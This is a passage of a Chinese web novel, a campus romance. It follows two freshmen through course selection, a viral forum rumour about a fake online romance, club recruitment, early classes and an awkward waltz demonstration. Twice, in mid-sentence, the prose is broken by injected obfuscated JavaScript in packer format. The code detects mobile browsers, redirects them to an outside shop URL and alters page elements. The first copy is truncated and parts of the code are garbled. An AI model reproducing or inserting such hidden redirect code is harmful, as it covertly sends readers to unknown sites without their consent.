林枫晚点头,“是啊,军训的时候就跟人打听好了,专业课倒是差别不太大,反正分都不高就对了,倒是那些通识选修课,得认真看看,有些老师巨坑,作业贼多还压分,有些贼水还给高分。” 宁启洄皱起眉,有些不认同,“能学到东西的就是好课。” 虽然很不愿意承认,但他爹这种思想,从某种意义上来说,是正确的。 林枫晚摊了摊手,表示他上过就知道了。 十点整,激动人心的选课时间到。 宁启洄点了一下没勾上,还没扭头就听林枫晚喊道:“刷新一下,界面不同了。” 宁启洄依言刷新,刹那间,满屏的空白亮瞎他的眼,那个一直再转的加载圆圈似乎在嘲笑他的网速。 “……” 林枫晚抽空看了眼,一乐,“不都说了吗,校园网现在卡得很,建议开热点。” 宁启洄语塞,他忘了。 洗了个澡像是把灵魂都洗刷干净了,连带着脑子也被冲走了。 他这算是第一次真正住宿,之前初中高中离家近,基本上都是回家住的,除了偶尔天气实在不好,他才会住在宿舍里,所以学校的住宿费也是一直在交着,寝室里一直有他的一张床。 今天实在是累崩了,拖着一条残腿,还得嘎巴嘎巴去洗澡,不小心把选课的事情忘得一干二净,即便辅导员在群里艾特全体成员三遍了。 宁启洄从善如流切换了热点,果然没过多久就进去了,大概扫了眼,课都还有。 依照林枫晚临时给的选课要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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实在要说个拿得出手的,林枫晚拉得一手好二胡和小提琴,宁启洄画画还行,也会弹钢琴,长笛也能来点。 但是跳舞…… 当时两人上的同一个班,在第二天同一节课,他们被老师叫家长接了回去,并委婉地表示俩小孩跳舞太有个性,教不了。 起初,两位妈妈还以为他们天赋异禀,甚至美滋滋给他们换了好几个舞蹈班,直到亲自看到了他们的舞姿,像是刚长出新腿的畸形种在学习走路。 从那以后,再也没人提起过要让他们去学舞蹈,参加舞会也没人敢邀请他们跳舞。 宁启洄:累了,毁灭吧这个世界。 正式开课是在两天后,这两天的时间是给学生自由支配的。 宁启洄在医院每天都得量体温,一来二去就睡不着了。 生物钟控制下起了个大早,宁启洄拖着还在说梦话的林枫晚去食堂吃饭。 第二食堂离他们住的山海七栋很近,宁启洄昨天回宿舍顺路就认了下位置。 顾着宁启洄腿没好全,林枫晚打着哈欠去给他,买早餐。 “吃什么?” “牛肉面,不要香菜——” “知道,不要香菜和蒜末,加香葱和醋,微辣对吧,宁大少爷。”林枫晚说着,自己得得乐了一会,觉得自己跟个老妈子似的,跑过去买饭。 宁启洄坐着安安静静打开游戏,给水族馆里的潜水僵尸喂了几个脑子,他觉得自己吃上早饭了,它们也不能少。 正想着,身后突然传来小声的讨论: “诶诶诶,看你后边,那帅哥,眼不眼熟?” “我靠,这不是——” “嘘!你小声点,别被发现了!” 宁启洄越听越觉得眼熟,这不就是昨晚在校门口那场相似的对话吗,当时自己还想扭头看看,却被林枫晚强制镇压了。 肯定有猫腻。 “开贴吧开贴吧!又有新粮了!” “啊啊啊我偷偷拍一张,你给我挡着点……网恋居然是真的!” 两人声音越说越大,完全没注意到旁边取了票回来已经石化在原地的林枫晚。 “什么网恋?”宁启洄认真听着墙角,扭头看了眼林枫晚。 等两位女生走远了,他看了眼依旧石化的林枫晚,这才面无表情打开校园贴吧——这还是昨天晚上他摸索半天发现的,A大学生有点啥事都在里面讨论。 来不及阻止,林枫晚只能眼睁睁看着宁启洄打开了那个蓝色小图标APP,进了A大贴吧区。 短短三分钟,林枫晚感觉像是过了一辈子,他已经预想到自己被打得从今往后只能揣着尿袋在校园里蹒跚而行的凄惨场面了。 他觉得,宁启洄租了拐杖干脆别还了,他说不定用得上。 等宁启洄看完热帖Top1里的首楼和前三层回复,脸上彻底失去了颜色。 #818 A大学神校草和新生系草之间的那些事# 扒你妈个头。 半晌,宁启洄拳头握得嘎吱嘎吱响,冷眼瞪着一旁想跑但不敢跑的林枫晚。 “解释解释?”宁启洄皮笑肉不笑地看着他。 林枫晚咽了咽口水,试探着说:“也许是,新开发的一款乙游?” 4. 社团 宁启洄脸色黑了几分,“哪家乙游用真人照片,发我看看,我让我爸去告一告。” 林枫晚没敢吱声。 宁启洄又压着火气看了一遍,首楼是发了一段段聊天记录,看样子是直接用手机拍下来的,不是截的屏,而且绿色框框那边是他所谓的网恋对象。 起码不是这家伙发出来的。 宁启洄斜睨了眼身体抖如筛糠的林枫晚,心里气稍微顺了些。 他隐约记得私自传播他人的聊天记录是犯法的①,但想了想,也不至于去告,毕竟也没损害他的切实利益,楼下的跟帖回复也都是在吃瓜,没什么坏心。 绿色框框这边发出来的照片有点眼熟,宁启洄研究了一下,发现就是昨天跟他们一起吃饭的高冷帅哥。 宁启洄一直知道林枫晚的性向,在明确表示自己是个纯直男且对方也对自己没意思之后,两人快快乐乐当起了憨批好哥们。 宁启洄呵呵一声,没想到像高冷帅哥这么帅的,还要靠网恋。 他想了想,决定不管,估计过个十天半个月,热度就下去了。 但是,不管归不管,这家伙不能轻易放过。 正巧,林枫晚言语诚恳、眼含热泪,“什么要求我都答应,阿宁,我真错了!” 宁启洄:“……”既然你都这么说了。 “帮我做一周作业。” “好!” “周末请我吃饭。” “好!” “请我喝一周奶茶。” “……奶茶喝多了会得糖尿病的吧?”林枫晚迟疑道。 宁启洄:“……” 赶在宁启洄脸再次沉下去之前,林枫晚连忙答应,只要他不生气了就好。 两人肩并肩往寝室走,一路上,宁启洄接收到了许多关注,不用去听也知道,都是奔走在吃瓜第一线的猹。 为了避免他控制不住自己的手引发血案,宁启洄拄着拐杖,库库往前走,林枫晚拉都拉不住。 回到寝室,宁启洄把门一关,坐在椅子上,斜睨了一眼作乖乖认错状的林枫晚。 “说说吧,到底是怎么回事。” 在接下来的十分钟,宁启洄对林枫晚的满腔愤怒变成了深深的同情。 这娃因为高中压抑了太久,军训就迫不及待释放自己自由的灵魂,但车祸手机没了,连带着里面的照片都没有,朋友圈也是干干净净一张正脸照片都没有,除了腹肌照。 但晒得乌漆嘛黑的林枫晚显然深刻认识到,自己这副模样大概率找不到对象。 于是,他就借了宁启洄的照片去网了个恋——反正两人是兄弟,应该长得差不多,起码他是这么认为的。 没想到对面居然也是用别人的照片! “别人的照片?”宁启洄一愣,“那你看到的是谁?” 这么说,不是那个高冷帅哥网恋了?是他错怪人家了。 宁启洄在心里反省几秒。 “他旁边那个卷毛。”林枫晚一脸悲愤。 那天,他看见带着墨镜和口罩的卷发男生,心里还是隐隐抱有一丝幻想的,直到对方卸下了伪装,他看见了红肿的眼睛和嘴唇子。 像是丰唇过度又割了双眼皮的如花妹妹。 不,他不可! 听完,宁启洄用看智障的眼神看他,“你哪怕P一下图呢?” P白点不就好了。 林枫晚义正言辞拒绝道:“那不行,祖国的花朵,坚决不能照骗!” “……” 难道用别人照片就很礼貌了吗。 沉默了很久,久到两人的寝室氛围几乎要窒息。 宁启洄:“你们网恋了多久?”军训都才一个月! 他没记错的话,那张照片是林枫晚一个多星期前来医院看他,特地怼他脸上拍的。 当时还说是在学校太想他了。 呵!男人! 林枫晚嗫嚅道:“这不是,太喜欢他了嘛,说话又好听,长得也帅……” “现在呢?” “无感谢谢,对着肿包脸硬不起来。” “……” 话糙理不糙。 “所以,你现在是对那位高冷校草感兴趣了?”宁启洄又想到那张照片上的人,似乎也是临时被抓来拍照,一脸的不情愿,眉眼之中都透露着一股距离感。 “当然不,”林枫晚想了想昨天共进晚餐的时候,抖了抖肩,“太高冷了那人,我要和他谈上了,估计得被冻死,我还是比较看内在的!” 自夸一把,就很高兴。 “你刚刚还嫌弃了人家肿包哥。” “……这不一样,谁知道能不能消下去。”林枫晚立马反驳。 说完,又小声补充了一句,“据说是被蜂蛰了。” 宁启洄的表情一言难尽,平心而论,变黑比消肿难得多,林枫晚长得不差,但他的模样不太适合黑皮,军训过后看着像个土气傻小子一样。 再平心而论,光看脸,其实也能看出来卷毛其实挺帅的,五官立体,有鼻子有眼的,尤其是那双蓝瞳桃花眼,看狗都深情。 就是林枫晚不太能接受对面骗自己,虽然自己也骗人家了吧,但他好歹也长得不丑啊,就是暂时黑了点…… 林枫晚小小声补充,“他也是1啦。” 之前知道林枫晚的性取向之后,宁启洄恶补这方面的知识,也知道了1是什么意思,他有些一言难尽。 “网恋视频也不打一个,属性也不问一下?” 林枫晚想到照片上岑柏意那张脸,一看就是张绝世猛1。 他寻思还能反攻来着,失策了,虽然卷毛哥也确实比他高一些壮一些。 越想越心虚,林枫晚生硬地转移了话题。 “说起来,社团招新快了,有想好参加什么社团吗?我跟你一起。”林枫晚拍拍胸膛,一副很义气的模样。 宁启洄摇头,他还不知道学校有哪些社团。 军训缺的一个月,让他错过了很多信息。 不过好在,林枫晚一直是万事通。 他从自己桌子上拿了一份厚厚的小册子,递给宁启洄,“这是军训结束前几天学长学姐来我们连发的,我给你也拿了一份。” 宁启洄翻开,忽略花花绿绿的颜色,上面都是一些社团简介,每个社团占的版面不算很大,每一页都有两三个社团,上面主要是放了一张社团活动图片、社团的logo以及联系方式和纳新时间,但加起来也有几十页小册子。 他感叹,A大的学生社团还真不少,这群年轻人很有想法啊。 “这是简要介绍,这周日会有正式的社团纳新活动,就在大操场上,可以去逛逛,到时候每个社团都有个活动棚,感兴趣的就能填报名表。”林枫晚把自己那份小册子翻了翻,手动给宁启洄扇起了风。 寝室里空调温度开得不是很低,书页带起一片凉爽的风,拂在宁启洄脸上。 “哦对了,忘记拉你进群了,军训期间分完了班,咱俩都在化学一班,顺便选出了班干部,班长姓于。”林枫晚操作了一下,看见名称为【于修迪】的人在群里又发了几条新消息。 “班长说明天就得去领教材了,有些教材是学校自己编印的,外面买不到,其他的可以找学长学姐买二手书。” 林枫晚摸了摸下巴,又兴致勃勃把宁启洄拉进了学校的跳蚤群和山海七栋的交易群。 宁启洄觉得这主意简直是天才,毕竟宁先生一直都叫他节俭生活,能省则省,以至于这学期宁先生给他的生活费也不多,如果不是苏女士暗中接济了许多,他连开学的日用品都买不全。 宁启洄看了眼林枫晚手机里的聊天记录,基本上都是【于修迪】在发消息,他深觉这是揽了牛马的活。 这边,林枫晚又兴致冲冲地说:“要不要我们也建个寝室群?” “……” 宁启洄一言难尽地看了他一眼,“寝室就咱俩,有什么话是不能当面说或者微信私聊的?” “……喔。” 正式开课前两天,两人把学校大部分地方逛了个遍,目前对校园生活还是抱有很大期待的,除了宁启洄杵着拐杖上下楼偶尔会抱怨,A大这么有钱为什么不给宿舍楼安个电梯。 时间很快到了周日,宁启洄刚来学校的新鲜感已经过去了,他的生物钟很快紊乱,现在只想把自己焊死在床上。 当他在八点被林枫晚准时叫醒的时候,他在脑海里构想出一个大致的谋杀计划,目标人物就是此刻站在他床边的黑皮男大。 “阿宁快起床收拾一下,八点四十吃完饭,去大操场正好九点。”林枫晚显然有些兴奋。 宁启洄扒拉着要穿的衣服,一脸迷惑,“迟到了会怎么样吗?” 要是过了九点不能进去,那他现在就回床上睡觉。 惯的。 林枫晚卡顿了一下,随即讪讪道:“好像不会怎么样。” 见宁启洄踏在地面上的脚隐隐有缩回阶梯往床上爬的趋势,林枫晚赶紧找补,“起都起了。” “……”OK, fine. 快速解决掉一个糯米鸡和一杯豆浆,两人并肩往大操场走去。 隔着老远就能听见纳新现场的爆炸BGM,声音很大,但意外的不闹心,选歌选得很好,宁启洄评价。 一眼晃过去,有围棋社、书法社、街舞社一类培养技能的社团,也有游戏社、二次元社一类发展爱好的,还有单纯为了社会做贡献(划掉,加分卷综测),比如说互助社、青协等。 林枫晚见宁启洄还在犹豫,就直接拉着他往游戏社跑。 他最大的爱好就是打游戏,虽然技术不好,但他垃圾话多啊,还氪金,怎么菜也能玩个七七八八的,游戏搭子也不少,都乐意和他玩。 游戏社纳新的社员是两个男生和两个女生,其中扎着可爱丸子头的女生在看到两位帅气的男生跑来之后,脸微微一红,躲在另一个高点的卷发女生后面。 卷发女生抽出两张打印的宣传单,用手肘怼了怼身后的丸子头妹妹,“巧巧,出来干活。” 说着,一遍介绍游戏社的情况。 听了个大概,林枫晚想都没想就填了报名表,虽然不知道要干什么,但是先拿着,机会是抢来的,去不去再说。 宁启洄也拿了一张表,只是没填,卷发女生还以为他在犹豫,耐心询问。 宁启洄木着脸,“我不太打游戏。” “你平时玩什么游戏呀?”另一道声如蚊蚋的声音传来。 宁启洄看过去,是那个扎着丸子头的女生,“植物大战僵尸。” “?” 那确实不太好弄。 刚忙完的一个男生走过来,就听见这段惊天地泣鬼神的对话。 不是,现在哪个大学生连个网游都不玩?这游戏都没办法联机。 丸子头妹妹悄悄探出头,对上宁启洄的视线,又很快缩回去。 卷发女生冲他抱歉地笑了笑,“巧巧看见好看的就容易害羞,是你们太帅了。” 说着,又看了看宁启洄,犹豫几秒,像是不太确定地问:“请问,你是贴吧那个——” “不我不是。”宁启洄这几天听见贴吧两个字就应 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说干就干,宁启洄利索地填了表,还试图拉林枫晚一起入伙,但失败了。 “阿宁,虽然苏姨让我照顾你,但我觉得让我去演戏,不亚于哥斯拉跳钢管舞。”林枫晚苦哈哈求饶,宁启洄只得做罢。 两人又逛了逛,来到了登山社,又是一个林枫晚不感兴趣的社团。 登山社的表格和其他社团的不太一样,主要是多了几个身体素质指标的填写,包括但不限于身高体重肺活量以及是否有心脏病呼吸疾病等病史。 宁启洄也理解这是为了同学的安全考虑,便依次填写完整。 别的不说,今天各个社团的小礼品是薅了不少,第一次有这种新奇体验的宁启洄有些兴奋,隐隐盖住了大早上跑这么远来搞活动的郁闷。 约莫十一点的时候,社团纳新的上午阶段进入尾声,毕竟再过一会大家都要去吃饭了。 两人也晃晃悠悠朝食堂走去。 大操场的人不多了,大部分都是社团负责招新的社员。 登山社的小姑娘探着头往外边看,盼星星盼月亮终于看到了想见的人。 她挥了挥手,有些激动地对来人说:“副社,今年好多人!” 说着,抖了抖手里的报名表,看着有二三十份。 来人正是岑柏意,他抱着一个大箱子过来,里面装着登山社为这次社团纳新准备的小礼品,大多是挂件和手机支架之类的小物件。 之前的一部分已经被领完了,这是新买的。 女社员叫潘晓瑜,现在大二,和岑柏意同届,都是去年大一的时候入的社。 岑柏意轻轻摇头,之前社长就跟他说过,每年登山社交报名表的学生都不少,但最后会来面试的很少很少。 面试一般是安排在报名之后的半个月以内,估计经过了半个月的高强度A大精英教育的捶打,大家都提不起劲去爬山了。 但岑柏意没明说,并未打击潘晓瑜的积极性。 又坐了十几分钟,收了几份报名表,一旁的潘晓瑜冲岑柏意竖起大拇指,“副社,不愧是你,估计这些大都是冲着你来的。” 岑柏意这张脸,就是登山社长盛不衰的金字招牌。 可惜这位金字招牌不加微信。 想到这里,潘晓瑜一拍腿,有些懊悔,她觉得刚才应该叫另一位社员去搬东西的,不然刚才岑柏意走开这一个小时的空档,说不定还能多好几份报名表呢。 岑柏意坐下,收拾了一下有些凌乱的桌子,突然指尖顿住,定定地看着一张报名表。 是那天一起吃饭的男生,照片上的发型和前两天见到的不太一样,应该拍了有些时间,很乖,眼睛圆溜溜瞪着看向镜头,似乎有些懵。 像只小鹿,他想。 潘晓瑜也有些好奇地探过头来,待看清楚报名表上的【宁启洄】三个字之后,笑得一脸揶揄,“哦哟~副社,这不得直接通过~” 岑柏意皱眉,不太理解,“什么?” 潘晓瑜见他的反应,还以为是害羞了,打开手机点进神秘蓝色APP,轻车熟路进入某个论坛,点开热度最高的帖子,凑到他面前。 “喏,你和你的小男朋友已经火遍A大了。” 岑柏意:“???” 什么男朋友? 岑柏意第一反应是,江千陵这货又拿他搞事情了。 他死定了。 旁边在检查分发小礼品的社员也凑过来看热闹,待看清楚手机上的内容时,冲岑柏意暧昧一笑,“你们都在一起了还要走流程啊,副社,不愧是你。” 说完,冲岑柏意比起大拇指。 安静了一会,几人见岑柏意脸色不太对,小心翼翼问:“难道说,你们没有在一起?” 完了!他们磕的CP居然是假的? 新鲜出炉不到一周的CP,是假的?! 半晌,岑柏意从被这条帖子下面猛如虎的评论给震惊到的情绪中缓过来,冷哼一声,也没说是还是不是。 时间差不多了,岑柏意收拾好东西,去食堂吃饭了。 下午的纳新并不是他负责。 留下一众社员面面相觑,“这……到底是承认了,还是否认了啊?” 潘晓瑜咽了咽口水,挣扎一下,还是决定按头继续磕,“副社这是不好意思了。” “噢噢噢!这样啊!” 同一时间,还在场的其他社团工作人员都扭过头来,很好奇为什么登山社社员会发出鹅叫。 5. 上课 时间一晃,到了正式行课的星期一。 宁启洄深觉自己的腿好得差不多了,但苏女士在群里疯狂轰炸下来,他还是决定再拄几天拐杖看看,毕竟身边这个人形检测器肯定时不时就会告状。 就像当初宁启洄回家后给胡秋雁女士告状,林枫晚在学校炸厕所被抓住了。 本来是只需要写个检讨交给教务主任的,但在宁启洄的强力助攻下,那一天,他家隔壁的哭喊声持续到了半夜。 宁启洄杵着拐杖,跟随林枫晚往教室走。 第一教学楼离山海七栋比较远,但很不幸的事,宁启洄前三天的课全都是在第一教学楼,而且楼层大多是三四层,对这位伤员来说就很不友好。 第一节课是八点半开始,为了准时到达教室,两人七点半就起来了,磨磨蹭蹭到八点才出门,还得去食堂人挤人吃顿早饭——虽然比军训那一阵子人少了一些,因为体力消耗过大,再加上刚入学,大家对早餐的激情比较高,但因为周一上早八的人还是比较多,所以食堂也算是有些挤。 林枫晚让宁启洄就站在食堂门口等着,自己轻车熟路溜进去,跑进早餐窗口,给他们俩一人打包了一份小馄饨和豆浆,然后往教学楼走去。 本想坐校园小电车去教学楼的,但看着早八和下课候车点排着的长长队伍,两人一致决定,走路比较健康。 一教楼下有用于学习或者休息的座位,他们可以在那里吃完了再上楼——A大有食物不能进教学楼的破规矩,虽然面包零食同学们也没断过,但这种热乎乎的食物,味道比较大,还是别进教室为好。 小馄饨个头很小,就是普通的猪肉馅,汤底调得非常鲜,里面还放了小虾米和紫菜。 周一的课就很折磨人,放了一个暑假,已经很久都没这么早起来读过书了。 宁启洄昨晚睡得有点迟,听得昏昏沉沉,但好在教无机化学的小老头讲课很细致,第一周的内容也不太难,宁启洄还是能跟上。 林枫晚就坐在宁启洄边上,他听了一会,觉得有些无聊,戳了戳宁启洄的手臂,小声在他耳边说:“等会去吃鸡公煲吗?一食堂三楼有个窗口的鸡公煲贼好吃,我军训隔两三天就去吃一次。” 宁启洄在平板上写写画画,没看他,只是点了点头。 林枫晚还想说什么,见小老头的布置了课堂小作业,连忙集中注意力开始思考。 好不容易捱过一个上午的满课,林枫晚又扯着宁启洄往食堂走,走了几步发现食堂人爆多。 林枫晚犹豫两秒,丢下宁启洄就跑。 宁启洄:“?” 革命友谊从此破裂。 五秒过后,他收到了林枫晚的消息,是一条语音: 【小林子:阿宁,一食堂三楼有家很好吃的鸡公煲,你不是说想尝尝嘛,我去给你排,这家人很多的,你先回去吧,我打包寝室吃。(狗子狂奔.jpg)】 看来不是叛逃的同志。 宁启洄看着林枫晚收好手机飞速朝前奔跑的身影,像极了一条脱缰的大狗子。 他笑了笑,顺路回二食堂给两人买了冰奶茶。 现在这个时间,学生们大都在食堂挤来挤去,或者点了外卖回寝室,来买奶茶的反倒不多。 宁启洄拿了号等奶茶,就听见旁边有人在讨论什么。 等听清楚那关键的“校草网恋”四个字,他表情又木了。 刚刚还挺感动的,自家狗子给自己买饭。 现在,感动个屁,去死吧林狗子。 这奶茶能不要了吗? 当然不能,来都来了,他现在每一笔钱都得珍惜。 等林枫晚拎着两份热乎乎的鸡公煲回了宿舍,就看见宁启洄面对两杯冰奶茶发寒气,一时不知道哪一方温度更低。 林枫晚搓了搓胳膊,“咋了阿宁?” 宁启洄死亡微笑,“给你买了奶茶。” 林枫晚感动:阿宁心里还是有我的! 宁启洄:判个死缓。 下午也是满课,就这样过了几天,在星期三上午的体育课上,宁启洄表示自己腿受伤了,也许需要下周或者下下周才能参与教学活动,林枫晚在旁边给他作证。 教羽毛球的老师叫石云朗,是个年轻的高个子男老师,听说前几年才毕业,就来了A大当老师,据说了还拿了不少省级国家级的羽毛球比赛奖项。 石云朗笑着打趣,“宁同学这是刚开学就给自己放了个小长假啊。” 宁启洄心情好的时候是不介意开些小玩笑的,他也笑,“急着来上石老师的课,给摔了。” 石云朗故作大惊失色,连忙把宁启洄拉到一旁的长凳上坐下,“宁同学快坐快坐,石老师太感动了,咱也算是互相成就了。” 在场的人都笑得不行,尤其有几个没收住声的,笑到打鸣。 在人还不多的羽毛球场上,格外响亮。 这个班一共有二十五个人,加上老师和助教是二十七个。 见时间差不多了,石云朗一收笑容,吩咐助教带他们做热身运动,自己在旁边看效果(划掉,看热闹),有时候会出声纠正不规范的动作,语气有些严厉。 这节课只简单教了一些发力发球接球的基本技巧和比赛的规则,平时分签到占五十分,期末羽毛球考试占五十分,第一学期只需要简单打二十个来回保证球不掉在地上就行。 快下课的时候,石云朗叮嘱宁启洄,因为受伤可以允许两周不用训练,但是一定要来羽毛球场。 “多呼吸户外空气有助于恢复。”石云朗冲他眨眨眼,宣布下课。 宁启洄看着石云朗,心道,这老师上课下课真是两幅面孔。 他越来越期待后面的课程了。 直到星期五之前,他都是这么想的。 周五去上课之前,宁启洄觉着自己的腿不痛了,于是很大胆地把拐杖扔到寝室了。 是的,他,浪里宁条,又可以造作了。 当先出门买早饭的林枫晚看到双臂环胸没拿拐杖靠在食堂门口装酷哥的宁启洄时,其实很想给苏情发个微信告状,但他们岌岌可危的友谊以及那条高耸入云的贴吧热帖让他理智了一些。 时间来不及了,林枫晚只能尽量扶着宁启洄走。 好在恢复情况确实不错,宁启洄走路速度倒也不慢。 星期五,宁启洄只有两节课,都在上午,第一节是英语课,两人选到了同一个老师的,宁启洄觉得还不算难。 第二节课才是最磨人的,是传说中的舞蹈艺术审美与体验,宁启洄都不敢想,在十点半以后的这一百分钟内,宁启洄该如何面对。 上完英语课,林枫晚把他送到了艺术楼——因为这门课是艺术学院开的,艺术学院的课大都在艺术楼,是离得最远的一栋楼。 林枫晚爱莫能助,把宁启洄送过去,又匆匆跑回一教上课,好在两栋教学楼隔得不远。 到艺术楼的时候已经十点二十三了,教室里已经有了十几二十个人。 这是一件不大的教室,和常规教室不同,这间教室的座位有些紧凑,正好三十个座位,缺一个人都能被发现。 中间和讲台前面空出很大一片位置。 宁启洄看着那块空地,有些灵魂出窍,想都不用想就能知道,这肯定是给他们大展身手的地方。 他表情麻木地走向前排——来得有点迟了,只剩下前排还有位置。 宁启洄干脆坐在了第一排最靠门的位置,反正前排坐哪不是坐,这里起码离讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012916|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台最远。 时间很快到了十点二十九分,老师都已经到教室了,宁启洄身边还是空着的。 原本是有女生过来搭讪想要坐在这边,宁启洄刚要拒绝,因为他不太适应和女生坐一起。 这里的座位是五人一排的,分为两人座和三人座,中间隔开很大的空地。 宁启洄坐的就是靠门边的两人座。 女生还要说点什么,但又很快被旁边的女生拉走,小声跟她说着校草和系草的网恋二三事。 宁启洄:“……” 拒绝的话还没出口。 不!你回来!没有这档事! 终于,在铃声响起的前一秒,有人踩着铃声进了教室。 宁启洄抬头,又迅速低头,表情狰狞。 不是学神吗?迟什么到! 虽然踩点到也不算迟到,但宁启洄还是很不爽,毕竟教室里只剩下他身边这个位置没人了。 岑柏意冲老师点头表示歉意,然后环顾教室,发现了落单的宁启洄。 “……” 教室里已经有点窸窸窣窣的声音了,岑柏意不是很想坐过去,但老师要开始上课了,没办法,他不能耽误大家的时间。 台上的女老师很温柔,说话也很轻声细语,但就算是坐在最后一排的同学也能听见,音色很舒服。 她说她叫孟柔柔,本科是在本校艺术学院读的,研究生去了国外,读完博士才回来,十年前从A大毕业,以前的学生们都喜欢叫她学姐老师、柔柔老师。 宁启洄想集中注意力去听老师讲课,他觉得既然选了就好好学,但是身侧人的存在感实在太强,又为了方便同学入座,他选了靠墙的位置。 要侧过头去看老师,眼神就必须掠过岑柏意。 听了一会,这门课程主要学华尔兹,孟柔柔在讲华尔兹的发展史,宁启洄听得有些无聊,以前学华尔兹的补习班老师简单讲过一些,虽然待了不到半天时间就被赶出来了。 他余光瞥见岑柏意,学神也是没在听,神色专注于平板。 宁启洄悄悄凑近看了眼,是高数。 他周二也上了高数课,但是学得比较基础,看着没有大二的课程难。 宁启洄看了一会,目光又不由自主移向岑柏意的侧脸。 帅。 确实帅。 哪怕宁启洄再不爽,也不得不承认,这人长得确实好看,秒杀他在日常生活中接触到的所有人,甚至比一些明星还好看。 也难怪小林子见色起意,宁启洄心想。 他盯着岑柏意深邃的眼眸看了几秒,心想,这人恐怕还不知道贴吧的事情吧,不然怎么能这么无动于衷地坐在他边上。 要知道,他最近可是被这事情烦死了。 时间一分一秒过去了,写高数作业的岑柏意实在是无法忽视身侧那灼热的视线,他扭头,轻声问:“怎么了宁同学?” 宁启洄:“……” 知道他姓什么,看来是看过贴吧了。 那天吃饭,他记得他是没说过自己叫什么的。 想到贴吧里那些肉麻至极的亲昵称呼,宁启洄脸一红,别开眼神。 “没、没什么。” 岑柏意盯着他看了几秒,点点头,正要扭头继续写作业。 就听台上的孟柔柔笑着说:“这位同学一直在看旁边的同学,那就请两位同学一起上台做个示范吧。” 宁启洄有一种不太好的预感,他抬头,对上了孟柔柔笑意盈盈的眼睛。 无辜受牵连的岑柏意:“???”和他有什么关系? 感觉被坑的宁启洄:“……”不是说好第一节课是理论知识吗? 高强度逛贴吧的同学们:“!!!”磕到了! 6. 跳舞 宁启洄瘸着个腿走上讲台,但他尽量让自己的腿看不出异常。 毕竟,那群磕CP的,指不定又从他奇怪的走路姿势脑补些什么黄黄的东西。 两个帅哥站在讲台前的空地上,个子高高的,脸色臭臭的,不过依旧很养眼。 “两位同学先自我介绍一下吧。”孟柔柔空出位置给他们。 岑柏意神色自如,“大家好,我叫岑柏意,计算机专业大二学生。” 完全看不出刚才的臭脸。 宁启洄惊叹于他精湛的变脸技艺。 通识课大一到大四都能选,所以这个班上每个年级的学生都有,但大部分都是大一大二的,因为大三大四课程相对较少,选完必修课还有充足的时间抢比较好的通识课,所以也没人来这种吃力不讨好的课。 打分真的很一般。 岑柏意介绍完,班里传来一阵不大的惊呼,有人没看过贴吧或者刚入学,都不太认识岑柏意,但岑柏意本人在A大出名得很。 成绩好,人也帅,脾气也不算差,因此人缘挺好,再加上之前有个做自媒体的学姐采访了他一下,神颜暴击一下就带来一波热度,因此岑柏意本人在A大的讨论度也不算低。 岑柏意说完,大家都用亮晶晶的眼睛看向宁启洄。 宁启洄:“……大家好,我叫宁启洄,化学系大一新生。” 计算机和化学是A大的两大王牌专业,要进A大的这两个专业,高考分数线能够上清北。 这回大家的反应小了一些,但宁启洄还是隐隐听到了“好甜”“好般配”之类的话。 宁启洄:拳头硬了,找个机会把小林子套麻袋揍一顿。 孟柔柔温和一笑,说:“刚刚简要介绍了华尔兹的发展历史、舞蹈礼仪和基础动作,华尔兹舞的音乐属于3/4拍,节奏较慢,比较舒缓,为了配合舞步的缓慢①……接下来我会放一段视频,两位同学仔细看,等会要跳的哦。” 岑柏意面色如常,宁启洄的脸已经有些木了。 他是知道自己跳舞有多烂的,当年学舞蹈几经转折就发誓再也不跳了,没想到现在不但要跳,还得当着全教室包括岑柏意在内的三十一个人的面跳! 是的,除了老师,还有一个助教学姐在,坐在教室最后边一个单独的椅子上。 柔柔老师,你没有心! 宁启洄在心里控诉。 五分钟的视频放完,孟柔柔微笑起身。 “这个教室空地没有标准舞池那么大,我们也把舞程线紧缩一点,记住逆时针为舞程向,剩下的视频里介绍了,现在不放音乐,两位同学模仿一下视频里的几个动作,慢慢来跳,不急。” 孟柔柔说完,顺势坐在了岑柏意空出来的位置上,微笑看着前方。 面对台下三十双饱含期待的眼睛,宁启洄只觉得自己要窒息了。 急啊,怎么不急,宁启洄恨不得一秒跳完就下去。 等了几秒,岑柏意见宁启洄没动作,轻轻叹气,主动问:“你要跳男步还是女步?” 宁启洄:“男步。” 在贴吧里当0了,跳舞得找补回来,让岑柏意跳女步! 宁启洄有些缺德地想着。 岑柏意点头,表示没意见。 两人都很高,但岑柏意比他还要高一点,宁启洄目测他得有一米九多。 不服气地噘噘嘴,宁启洄心想,长这么高干嘛,空气稀薄冻死你! 俨然不知道自己处于“高原地带”的岑柏意伸手,朝宁启洄靠近。 为了应付一些推脱不掉的舞会,岑柏意是学过华尔兹的。 孟柔柔咳嗽一声,笑着提醒:“岑同学,哪有女士邀请男士跳舞的?” 视频里有提到过,请舞都是男士先伸右手,女士再抬起左手搭上去。 岑柏意以前跳的多是男步,下意识要去邀请宁启洄。 宁启洄冲他挑挑眉,那眼神的含义再明显不过。 小样儿,我才是跳男步的那个。 岑柏意不知道这人莫名的胜负欲是哪里来的,他从善如流地退回原地,等宁启洄伸出手邀请,他再搭上自己的手。 岑柏意绕着两人双手交握的地方转了半个圈,然后两人的手分开。 他举起右手,和宁启洄的左手握在一起,另一只手臂自然地展开,两人身体迅速靠近,两人身体错位右侧靠拢。 夏天很热,即便教室里开了空调,宁启洄也能感觉到岑柏意体温有些高。 像是被烫到了一般,宁启洄下意识抖了抖,但又强撑着不让自己表现出异常。 两人在原地站着,像是被定身术定住了一般。 等了几秒,见没人动,孟柔柔打趣道:“两位同学是在回味什么吗?” 